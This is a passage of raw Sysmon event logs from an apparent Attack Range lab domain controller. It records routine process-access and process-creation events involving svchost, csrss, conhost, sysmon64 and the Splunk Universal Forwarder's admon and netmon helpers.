10341000x80000000000000002289Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D7-5F80-6900-000000007F01}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002288Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002287Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002286Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002285Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002284Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002283Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002282Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002281Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002280Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002279Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D7-5F80-6900-000000007F01}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002278Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.606{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D7-5F80-6900-000000007F01}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002277Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.439{A5F018FF-28D7-5F80-6900-000000007F01}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002303Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D8-5F80-6A00-000000007F01}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002302Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002301Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002300Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002299Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002298Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002297Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002296Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002295Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002294Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002293Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D8-5F80-6A00-000000007F01}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002292Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.449{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D8-5F80-6A00-000000007F01}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002291Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:44.282{A5F018FF-28D8-5F80-6A00-000000007F01}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002319Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 